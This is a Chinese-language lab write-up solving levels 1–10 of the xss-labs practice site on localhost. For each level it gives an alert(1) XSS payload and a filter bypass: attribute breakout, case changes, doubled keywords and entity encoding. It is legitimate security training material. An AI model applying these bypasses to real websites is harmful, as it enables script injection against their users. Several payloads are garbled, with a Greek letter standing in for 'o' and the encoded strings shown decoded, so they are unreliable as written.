第一关
查看第一关源代码发现直接将用户的参数显示,没有任何防护措施,构造payload:
127.0.0.1/xss/xss-labs-master/level1.php?name=<script>alert(1)</script>
成功
第二关
查看第二关源代码,发现使用htmlspecialchars()函数将输入进行了实体转换。把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体
输入javascipt:“alert(1)”,发现value处没有进行转义,找到注入点,需要闭合前面的“,构造payload:
http://127.0.0.1/xss/xss-labs-master/level2.php?keyword="οnclick="alert(1)&submit=搜索
成功
第三关
输入'οnclick="alert(1)"//,发现上下两处都被转义。那就不用<>"等字符。
构造payload:'οnclick=javascript:alert(1)//
成功
第四关
输入sss<>" 发现下面的双引号没有屏蔽 但尖括号被屏蔽
构造payload:"οnclick="alert(1)
成功
查看源码,发现只是对尖括号进行了替换
第五关
输入<>",发现他们都可以正常显示。
构造payload:"οnclick="alert(1)
失败,发现on之间加了下划线
查看源码,网站对on和script进行了处理
构造payload:
"><a href="javascript:alert(1)">
成功
第六关
查看源码,发现对更多的符号进行了处理,所以不能使用上一关的href作为payload
尝试大小写绕过,构造payload:
"ONclick="alert(1)
成功
第七关
查看源码,发现对敏感字符串进行了替换为空的操作,那就很明显使用双写绕过即可。、
构造payload:
"oonnclick="alert(1)
成功
第八关
查看网页源码,发现几乎所以的敏感字符都被过滤,且忽略大小写,加下划线,所以不能用大小写绕过和双写绕过。
尝试实体字符编码绕过,将javascript:alert(1)进行实体字符编码
javascript:alert(1)
成功
第九关
查看网页源码,发现比上一关多了http://的校验
构造payload:javascript:alert(1)//http://
html实体字符转换:javascript:alert(1)//http://
中间的//目的是把http://注释掉,否则无法弹窗
成功
第十关
首先输入<>",发现页面回显只有一处,并进行了转义,无法注入。但下面发现了隐藏属性的input框,可以尝试注入。
源码中t_sort参数进行了回显,注入点找到。
构造payload:
http://127.0.0.1/xss/xss-labs-master/level10.php?keyword=111&t_sort="οnmοuseοver="alert(1)
这里需要f12之后将hidden属性删除。
成功